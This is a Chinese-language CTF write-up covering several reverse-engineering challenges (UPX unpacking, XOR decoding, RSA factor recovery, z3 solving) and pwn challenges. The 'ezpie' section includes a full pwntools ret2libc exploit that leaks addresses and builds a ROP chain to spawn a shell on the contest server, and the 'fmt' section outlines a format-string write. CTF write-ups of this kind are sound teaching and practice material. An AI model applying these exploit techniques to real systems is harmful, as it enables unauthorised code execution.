RE
crackme
运行就拿到flag了?看了一下是upx3.96
babyRe
反编译了一下,大概是这样一个逻辑,rsa
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import libnum from crypto.Util.number import * flag = 'ISCTF{******************}' flags = flag.encode() e = 65537 p = libnum.generate_prime(1024) q = libnum.generate_prime(1024) n = p * q m = bytes_to_long(flags) c = pow(m, e, n) output = open('output.txt', 'w') output.write('p+q =' + str(p + q) + '\n') output.write('(p+1)*(q+1)=' + str((p + 1) * (q + 1)) + '\n') output.write('c=' + str(c) + '\n') output.close()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from sympy import symbols, solve, isprime from Crypto.Util.number import inverse, long_to_bytes
p_plus_q = 292884018782106151080211087047278002613718113661882871562870811030932129300110050822187903340426820507419488984883216665816506575312384940488196435920320779296487709207011656728480651848786849994095965852212548311864730225380390740637527033103610408592664948012814290769567441038868614508362013860087396409860
p_plus_1_q_plus_1 = 21292789073160227295768319780997976991300923684414991432030077313041762314144710093780468352616448047534339208324518089727210764843655182515955359309813600286949887218916518346391288151954579692912105787780604137276300957046899460796651855983154616583709095921532639371311099659697834887064510351319531902433355833604752638757132129136704458119767279776712516825379722837005380965686817229771252693736534397063201880826010273930761767650438638395019411119979149337260776965247144705915951674697425506236801595477159432369862377378306461809669885764689526096087635635247658396780671976617716801660025870405374520076160 ciphertext = 5203005542361323780340103662023144468501161788183930759975924790394097999367062944602228590598053194005601497154183700604614648980958953643596732510635460233363517206803267054976506058495592964781868943617992245808463957957161100800155936109928340808755112091651619258385206684038063600864669934451439637410568700470057362554045334836098013308228518175901113235436257998397401389511926288739759268080251377782356779624616546966237213737535252748926042086203600860251557074440685879354169866206490962331203234019516485700964227924668452181975961352914304357731769081382406940750260817547299552705287482926593175925396 e = 65537
n = p_plus_1_q_plus_1 - p_plus_q - 1
p, q = symbols('p q') solutions = solve([p + q - p_plus_q, p*q - n], (p, q)) p, q = [int(sol) for sol in solutions[0] if isprime(sol)]
phi = (p - 1) * (q - 1) d = inverse(e, phi)
m = pow(ciphertext, d, n) flag = long_to_bytes(m).decode() print(flag)
|
mfx_re
mfx? 搜索了一下,是修改了 upx的特征,把upx! 的字段修改成了mfx!,010edit中把文件里面几个mfx! 修改成upx! 就能用upx -d解压了,readelf -a也能看到符号表
关键逻辑是这里,++一下就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| puts("The second question is flag = ?"); printf("flag = "); *(_QWORD *)s = 0LL; v10 = 0LL; v11 = 0LL; v12 = 0LL; v13 = 0LL; v14 = 0LL; v15 = 0; scanf("%s", s); strcpy(s2, "HRBSEz84a2`/40,3530,3/``,`560,3/77`a5/c8c3|"); v17 = 0; v18 = 0; for ( i = 0; ; ++i ) { v3 = i; if ( v3 >= strlen(s) ) break; --s[i]; } strcmp(s, s2); puts("Now you know your flag!");
|
1 2 3 4 5
| flag = r"HRBSEz84a2`/40,3530,3/``,`560,3/77`a5/c8c3|"
for i in range(len(flag)): bytes = ord(flag[i]) + 1 print(chr(bytes),end="")
|
EasyRe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| int __cdecl main(int argc, const char **argv, const char **envp) { char v4[224]; char inputString[104]; int inputStringLen; int i;
_main(); strcpy(v4, "]P_ISRF^PCY[I_YWERYC"); memset(&v4[21], 0, 78); puts("please input your strings:"); gets(inputString); inputStringLen = strlen(inputString); while ( inputString[i] ) { for ( i = 0; i < inputStringLen; ++i ) v4[i + 112] = inputString[i] ^ 0x11; } for ( i = 0; i < inputStringLen; ++i ) { if ( v4[i + 112] == 66 || v4[i + 112] == 88 ) v4[i + 112] = -101 - v4[i + 112]; } for ( i = inputStringLen - 1; i >= 0; --i ) v4[inputStringLen - i + 111] = v4[i + 112]; i = 0; if ( inputStringLen > 0 ) { if ( v4[i + 112] == v4[i] ) printf("yes!!!"); else printf("no!!!"); } return 0; }
|
可以直接把可见字符丢进去,得到的结果和可见字符构成一个映射表,然后对着找就好了。
v4[i + 112] = -101 - v4[i + 112]; 这个表达式看不太懂,似乎char表达式只会取低位一个字节。
那9B - 66 = 89 9B - 88 = 67,那也就是说89或者67可能是他本身或者是66 88,直接替换一下试试?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| flag = [93, 80, 95, 73, 83, 82, 70, 94, 80, 67, 89, 91, 73, 95, 89, 87, 69, 82, 89, 67]
flag = flag[::-1]
for i in range(len(flag)): if flag[i] == 89: flag[i] = 66 if flag[i] == 67: flag[i] = 88
for i in flag: byte = i ^ 0x11 print(chr(byte),end="")
|
加上花括号交上去 正确了
easy_z3
用z3约束求解就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from z3 import *
l = [Int(f"l[{i}]") for i in range(6)]
s = z3.Solver()
s.add(And( (593*l[5] + 997*l[0] + 811*l[1] + 258*l[2] + 829*l[3] + 532*l[4]) == 0x54eb02012bed42c08, (605*l[4] + 686*l[5] + 328*l[0] + 602*l[1] + 695*l[2] + 576*l[3]) == 0x4f039a9f601affc3a, (373*l[3] + 512*l[4] + 449*l[5] + 756*l[0] + 448*l[1] + 580*l[2]) == 0x442b62c4ad653e7d9, (560*l[2] + 635*l[3] + 422*l[4] + 971*l[5] + 855*l[0] + 597*l[1])== 0x588aabb6a4cb26838, (717*l[1] + 507*l[2] + 388*l[3] + 925*l[4] + 324*l[5] + 524*l[0])== 0x48f8e42ac70c9af91, (312*l[0] + 368*l[1] + 884*l[2] + 518*l[3] + 495*l[4] + 414*l[5])== 0x4656c19578a6b1170
))
result1 = []
if s.check() == sat: m = s.model()
for i in l: result1.append(m[i].as_long()) for i in result1: print(hex(i))
|
pwn
test_nc
就? nc?
nc_shell
就? nc? 然后cat flag
ezpie
patchelf了之后,在printf的时候,rsp+8有一个libc_csu_init的地址,可以用%s来泄露,,填充八个a就会把这个地址打印出来,因为高两个字节是\x00所以要加上,有了这个地址就能算出elf_base,然后拿到其他的一些gadget的地址
1 2 3 4 5 6 7 8 9 10 11 12 13
| int __cdecl main(int argc, const char **argv, const char **envp) { char buf[40]; // [rsp+0h] [rbp-30h] BYREF __int64 (*v5)(void); // [rsp+28h] [rbp-8h]
init(argc, argv, envp); v5 = func; puts("input your name-> "); read(0, buf, 0x30uLL); printf("hello, %s\n", buf); func(); return 0; }
|
1 2 3 4 5 6 7 8 9
| __int64 func() { char buf[80]; // [rsp+0h] [rbp-50h] BYREF
puts("please enter your information-> "); read(0, buf, 0x98uLL); puts("very well, thank you"); return 0LL; }
|
发现有binsh字符,有pop rdi,有puts,就直接ret2libc了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| from pwn import * from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug') elf = context.binary = ELF('./ezpie') libc = ELF('/home/lhj/ruanjian/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6')
is_debug = 0
if(is_debug): p = process() else: ip = "43.249.195.138" port = 21598 p = remote(ip,port)
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y)
r = lambda x: p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x)
sa("input your name-> ",b'a' * 8) ru(b"a" * 8) libc_csu_init = u64(r(6).ljust(8,b'\x00')) rl()
elf_base = libc_csu_init - 0x12D0
success(f"libc_csu_init addr -> {hex(libc_csu_init)}") success(f"elf_base addr -> {hex(elf_base)}")
rdi = elf_base + 0x1333 rsi_r15 = elf_base + 0x1331 main = elf_base + 0x1254
puts_got = elf.got['puts'] + elf_base puts_plt = elf.plt['puts'] + elf_base
ru("please enter your information-> \n") s(flat([ b'a' * (0x50 + 8), rdi,puts_got,puts_plt, main ]))
ru("very well, thank you\n")
leek_puts_addr = u64(r(6).ljust(8,b'\x00')) libc_base = leek_puts_addr - libc.symbols['puts'] system = libc_base + libc.symbols['system'] binsh = elf_base + 0x2008
success(f"leek_puts_addr -> {hex(leek_puts_addr)}") success(f"libc_base_addr -> {hex(libc_base)}") success(f"system_addr -> {hex(system)}") success(f"binsh_addr -> {hex(binsh)}")
sa("input your name-> ",b'a' * 8)
ret = elf_base + 0x101a
s(flat([ b'a' * (0x50 + 8), ret, rdi,binsh,system ]))
p.interactive()
|
fmt
格式化字符串 有两个指针可以利用,gdb调试一下找到偏移,然后lln写数据就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| __int64 vuln() { int v1; int v2; int *v3; int *v4; __int64 buf[18];
buf[17] = __readfsqword(0x28u); v1 = 0; v2 = 0; buf[0] = 0LL; buf[1] = 0LL; memset(&buf[4], 0, 96); v3 = &v1; v4 = &v2; buf[2] = (unsigned __int8)&v1; buf[3] = (unsigned __int8)&v2; printf("> "); read(0, buf, 0x80uLL); printf((const char *)buf); if ( v1 == 18 && v2 == 52 ) system("/bin/sh"); return 0LL; }
|